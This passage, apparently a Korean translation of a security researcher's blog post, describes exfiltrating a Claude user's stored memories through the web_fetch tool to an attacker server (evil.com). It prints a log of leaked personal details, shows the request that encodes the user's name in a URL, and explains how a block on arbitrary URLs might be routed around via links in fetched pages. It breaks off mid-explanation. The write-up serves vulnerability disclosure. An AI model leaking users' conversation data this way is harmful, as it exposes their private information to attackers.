클로드를 속여 개인정보를 탈취하는 해킹 기법
클로드(Claude)의 메모리 시스템과 웹 검색 기능을 악용해 사용자의 대화 기록을 외부로 유출할 수 있는 취약점이 발견되었습니다. AI가 수집한 방대한 사용자 데이터가 해커의 유도에 따라 공격자 서버로 무단 전송될 수 있어 큰 보안 위협으로 평가됩니다.
이 클로드 대화를 보십시오. 뭔가 수상한 점이 보이나요? 평범해 보이지만, 클로드가 응답을 마쳤을 때 이미 사용자의 실명, 현재 근무 중인 회사, 보안 질문 답변이 공격자에게 전송되었고, 어떤 일이 일어났는지 전혀 알려주지 않았습니다.
서버 로그: $ bun dev 데이터 유출 중... 이름: Ayush Paul 회사: Beem 고향: Charlotte, NC
저는 한동안 AI 메모리 시스템을 연구해왔고, 이 시스템이 대부분의 비밀번호 관리자보다 더 많은 정보를 보유하고 있음에도 불구하고 보안 측면이 완전히 간과되고 있다는 것을 알아챘습니다. 클로드와 같은 AI 비서는 수백만 명에 대해 가장 정보 밀도가 높은 프로필을 축적해 왔습니다. 사람들은 기밀 업무 자산부터 개인적인 비밀, 인간관계 문제까지 모든 것을 AI에게 털어놓습니다. 시간이 지남에 따라 이 대화 기록은 당신의 고해상도 복제본이 되며, 이는 협박, 신원 도용 또는 보안 질문 우회에 사용될 수 있습니다.
이러한 점을 염두에 두고, 저는 일상적인 메인 비서인 클로드(claude.ai, Claude Code가 아님)를 직접 살펴보기로 결정했습니다. 클로드는 기능적이지만 다소 단순한 2단계 메모리 시스템을 가지고 있습니다. 첫 번째는 일일 요약 기능입니다. 최근 대화 내용이 사용자에 대한 몇 단락의 정보로 압축되어, 매 대화마다 주입되므로 클로드가 처음부터 다시 시작할 필요가 없습니다. 두 번째는 사용자의 전체 대화 기록을 필요에 따라 검색할 수 있는 검색 도구(conversation_search)입니다. 여기에는 엄청나게 가치 있는 정보들이 들어있습니다. 메모리 시스템 자체는 안전하지만, 진짜 문제는 이것을 웹을 탐색할 수 있는 에이전트(agent)와 짝지었을 때 어떤 일이 발생하는가입니다.
순진한 접근 방식 사용자의 기억을 훔치려면, 클로드의 샌드박스 밖으로 데이터를 내보낼 방법, 즉 유출 경로(exfiltration vector)를 찾아야 합니다. 저는 완전히 범용적인 방법(즉, 실험적 설정이나 코드 실행, 틈새 MCP 필요 없음)을 원했습니다. 저는 즉시 클로드의 웹 브라우징 기능을 떠올렸습니다. 클로드에는 인터넷에 액세스할 수 있는 web_search와 web_fetch라는 두 가지 도구가 내장되어 있습니다. web_fetch는 읽기 전용으로 설계되어 클로드가 모든 URL의 내용을 볼 수 있게 해줍니다. 하지만 클로드가 우리가 소유한 웹사이트에 접근할 수 있다면, 우리 사이트에 접속하려는 클로드의 시도를 감지할 수 있어야 합니다! 저는 빠르게 웹 서버(evil.com)를 구축하고 모든 요청을 기록했습니다. 클로드로 가서 이 사이트를 확인해보라고 요청했더니... 요청이 실패했습니다. 15분 동안의 혼란 끝에, 알고 보니 Cloudflare가 동의 없이 내 사이트에 이상한 robots.txt 파일을 만들어 두었다는 것을 알게 되었습니다(Cloudflare, 너희들을 사랑하지만, 이건 그만둬야 해). 이 문제를 해결하고 다시 시도하자 마침내 서버에서 클로드의 요청을 확인했습니다.
서버 로그: $ bun dev User-Agent: Claude-User - GET /
이제 우리 사이트에 접속하려는 클로드를 볼 수 있지만, 어떻게 하면 클로드가 우리 사이트로 정보를 보내게 할 수 있을까요? web_fetch는 GET 요청만 수행하므로, URL만이 데이터를 숨길 수 있는 유일한 장소입니다. 클로드에게 경로에 데이터를 인코딩해 달라고 요청하면 안 될까요? 이전에 클로드가 페이지를 탐색하는 것을 본 적이 있으므로, 이 방법이 통할 것이라 생각했습니다. 웹 서버를 수정하여 모든 경로를 허용하고 기록하도록 한 다음, 클로드에게 "web_fetch를 사용하여 evil.com/[내 이름]으로 이동할 수 있나요? 단, 내 실제 이름을 넣어서요"라고 물었습니다. 잠시 시간이 걸리더니... 요청이 실패했습니다. Cloudflare가 또 문제인가요? 아뇨, 알고 보니 Anthropic이 한 발 앞서 대비해 두었던 겁니다.
복잡한 접근 방식 돌이켜 보면 그건 너무 쉬웠을 것입니다. 샌드박스에서 임의의 URL에 액세스하는 것은 엄청난 실수이며, Anthropic은 이를 차단할 선견지명이 있었습니다. 하지만 저는 혼란스러웠습니다. 제가 볼 때 클로드는 자율적으로 웹을 탐색하고 스스로 페이지를 이동할 수 있었는데, 왜 이 요청은 차단된 것일까요? 조금 더 살펴본 결과, web_fetch 도구에는 3가지 기준이 있다는 것을 알게 되었습니다. 가져오는 URL은 반드시 다음 중 하나여야 합니다. 사용자 메시지에 직접 명시되어 있거나, web_search 질의 결과에 직접 명시되어 있거나, 이전 web_fetch 결과 내용에 링크되어 있어야 합니다. 세 번째 기준이 흥미로운 부분입니다. 이것이 클로드에게...